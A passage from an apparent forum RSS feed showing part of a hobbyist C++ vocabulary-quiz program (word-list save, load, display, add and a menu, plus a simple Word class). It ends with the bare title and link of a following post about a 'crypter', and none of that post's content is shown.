style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> w.<span style="color: #007788;">at</span><span style="color: #008000;">&#40;</span>i<span style="color: #008000;">&#41;</span>.<span style="color: #007788;">fWord</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot; : &quot;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        getline<span style="color: #008000;">&#40;</span><span style="color: #0000dd;">cin</span>, str<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>str<span style="color: #000080;">==</span>w.<span style="color: #007788;">at</span><span style="color: #008000;">&#40;</span>i<span style="color: #008000;">&#41;</span>.<span style="color: #007788;">sWord</span><span style="color: #008000;">&#41;</span> right<span style="color: #000040;">++</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;Your score &quot;</span> <span style="color: #000080;">&lt;&lt;</span> right <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot; of &quot;</span> <span style="color: #000080;">&lt;&lt;</span> w.<span style="color: #007788;">size</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;.&quot;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000dd;">cin</span>.<span style="color: #007788;">get</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> saveWords<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w<span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    ofstream myFile<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    string fName<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;Filename(no extension): &quot;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    getline<span style="color: #008000;">&#40;</span><span style="color: #0000dd;">cin</span>, fName<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    myFile.<span style="color: #007788;">open</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#40;</span>fName<span style="color: #000040;">+</span><span style="color: #FF0000;">&quot;.wdb&quot;</span><span style="color: #008000;">&#41;</span>.<span style="color: #007788;">c_str</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">for</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">unsigned</span> <span style="color: #0000ff;">int</span> i <span style="color: #000080;">=</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span> i <span style="color: #000080;">&lt;</span> w.<span style="color: #007788;">size</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>i<span style="color: #000040;">++</span><span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        myFile <span style="color: #000080;">&lt;&lt;</span> w.<span style="color: #007788;">at</span><span style="color: #008000;">&#40;</span>i<span style="color: #008000;">&#41;</span>.<span style="color: #007788;">fWord</span> <span style="color: #000080;">&lt;&lt;</span> endl <span style="color: #000080;">&lt;&lt;</span> w.<span style="color: #007788;">at</span><span style="color: #008000;">&#40;</span>i<span style="color: #008000;">&#41;</span>.<span style="color: #007788;">sWord</span> <span style="color: #000080;">&lt;&lt;</span> endl<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> displayWords<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w<span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">for</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">unsigned</span> <span style="color: #0000ff;">int</span> i <span style="color: #000080;">=</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span> i <span style="color: #000080;">&lt;</span> w.<span style="color: #007788;">size</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> i<span style="color: #000040;">++</span><span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> w.<span style="color: #007788;">at</span><span style="color: #008000;">&#40;</span>i<span style="color: #008000;">&#41;</span>.<span style="color: #007788;">fWord</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;<span style="color: #666666; font-weight: bold;">\t</span>&quot;</span> <span style="color: #000080;">&lt;&lt;</span> w.<span style="color: #007788;">at</span><span style="color: #008000;">&#40;</span>i<span style="color: #008000;">&#41;</span>.<span style="color: #007788;">sWord</span> <span style="color: #000080;">&lt;&lt;</span> endl<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> addWords<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w, <span style="color: #0000ff;">bool</span> clear<span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>clear<span style="color: #000080;">==</span><span style="color: #0000ff;">true</span><span style="color: #008000;">&#41;</span> w.<span style="color: #007788;">clear</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    string word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #008000;">&#93;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;End the input by typing # in first word.&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">while</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">true</span><span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;First word: &quot;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        getline<span style="color: #008000;">&#40;</span><span style="color: #0000dd;">cin</span>, word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #008000;">&#93;</span><span style="color: #000080;">==</span><span style="color: #FF0000;">&quot;#&quot;</span><span style="color: #008000;">&#41;</span> <span style="color: #0000ff;">break</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;Second word: &quot;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        getline<span style="color: #008000;">&#40;</span><span style="color: #0000dd;">cin</span>, word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        w.<span style="color: #007788;">push_back</span><span style="color: #008000;">&#40;</span>Word<span style="color: #008000;">&#40;</span>word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #008000;">&#93;</span>, word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> loadWords<span style="color: #008000;">&#40;</span>vector<span style="color: #000080;">&lt;</span>Word<span style="color: #000080;">&gt;</span> <span style="color: #000040;">&</span>w, string fName<span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>fName <span style="color: #000080;">==</span> <span style="color: #FF0000;">&quot;&quot;</span><span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;Filename(no extension): &quot;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        getline<span style="color: #008000;">&#40;</span><span style="color: #0000dd;">cin</span>, fName<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    ifstream myFile<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    string word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #008000;">&#93;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    myFile.<span style="color: #007788;">open</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#40;</span>fName<span style="color: #000040;">+</span><span style="color: #FF0000;">&quot;.wdb&quot;</span><span style="color: #008000;">&#41;</span>.<span style="color: #007788;">c_str</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    w.<span style="color: #007788;">clear</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">while</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">true</span><span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        getline<span style="color: #008000;">&#40;</span>myFile, word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        getline<span style="color: #008000;">&#40;</span>myFile, word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span>myFile.<span style="color: #007788;">fail</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span> <span style="color: #0000ff;">break</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        w.<span style="color: #007788;">push_back</span><span style="color: #008000;">&#40;</span>Word<span style="color: #008000;">&#40;</span>word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #008000;">&#93;</span>, word<span style="color: #008000;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">void</span> printMain<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;[1] new wordlist.&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;[2] Add words to current wordlist.&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;[3] Display current wordlist.&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;[4] Take the quiz. (current wordlist)&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;[5] Save wordlist to file.&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;[6] Load wordlist. (will erease current wordlist)&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;[7] Quit&quot;</span> <span style="color: #000080;">&lt;&lt;</span> endl<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#125;</span></div></li></ol></pre></code></div><br /></div></div></div><span style="font-weight: bold;">word.h and word.cpp</span><br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
word.h<br />
<div class="geshicode_h" style='padding: 5px; background-color: #DFDFDF; border: 1px solid #AAAAAA; overflow:auto;'>&nbsp;&nbsp;&nbsp;&nbsp;<a href='http://www.infernodevelopment.com'>C++ Programming</a>
	<div class="geshicode_b" style='background-color: #FFFFFF; padding-left: 5px; border: 1px solid #BBBBBB; overflow:auto;'><code><pre class="cpp" style="font-family:monospace;"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#ifndef WORD_H</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#define WORD_H</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#include &lt;iostream&gt;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0000ff;">class</span> Word</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">public</span><span style="color: #008080;">:</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        Word<span style="color: #008000;">&#40;</span>std<span style="color: #008080;">::</span><span style="color: #007788;">string</span> _fWord, std<span style="color: #008080;">::</span><span style="color: #007788;">string</span> _sWord<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #666666;">//The constructor.</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        std<span style="color: #008080;">::</span><span style="color: #007788;">string</span> fWord<span style="color: #008080;">;</span> <span style="color: #666666;">// firstWord</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        std<span style="color: #008080;">::</span><span style="color: #007788;">string</span> sWord<span style="color: #008080;">;</span> <span style="color: #666666;">// secondWord</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">protected</span><span style="color: #008080;">:</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #0000ff;">private</span><span style="color: #008080;">:</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#125;</span><span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#endif // WORD_H</span></div></li></ol></pre></code></div><br /></div><br />
word.cpp<br />
<div class="geshicode_h" style='padding: 5px; background-color: #DFDFDF; border: 1px solid #AAAAAA; overflow:auto;'>&nbsp;&nbsp;&nbsp;&nbsp;<a href='http://www.infernodevelopment.com'>C++ Programming</a>
	<div class="geshicode_b" style='background-color: #FFFFFF; padding-left: 5px; border: 1px solid #BBBBBB; overflow:auto;'><code><pre class="cpp" style="font-family:monospace;"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339900;">#include &quot;word.h&quot;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&nbsp;</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">Word<span style="color: #008080;">::</span><span style="color: #007788;">Word</span><span style="color: #008000;">&#40;</span>std<span style="color: #008080;">::</span><span style="color: #007788;">string</span> _fWord, std<span style="color: #008080;">::</span><span style="color: #007788;">string</span> _sWord<span style="color: #008000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    fWord <span style="color: #000080;">=</span> _fWord<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    sWord <span style="color: #000080;">=</span> _sWord<span style="color: #008080;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #008000;">&#125;</span></div></li></ol></pre></code></div><br /></div></div></div></div></div>
I won't release the binary, only if people request it.<br />
And if you think you could donate some to be, just pm me and i'll pm you my paypal address :&gt;<br />
<br />
Enjoy and learn some new words!]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[##### RDG Tejon Crypter 1.71 - 2012 #####]]></title>
			<link>http://leetcoders.org/Thread-rdg-tejon-crypter-1-71-2012</link>
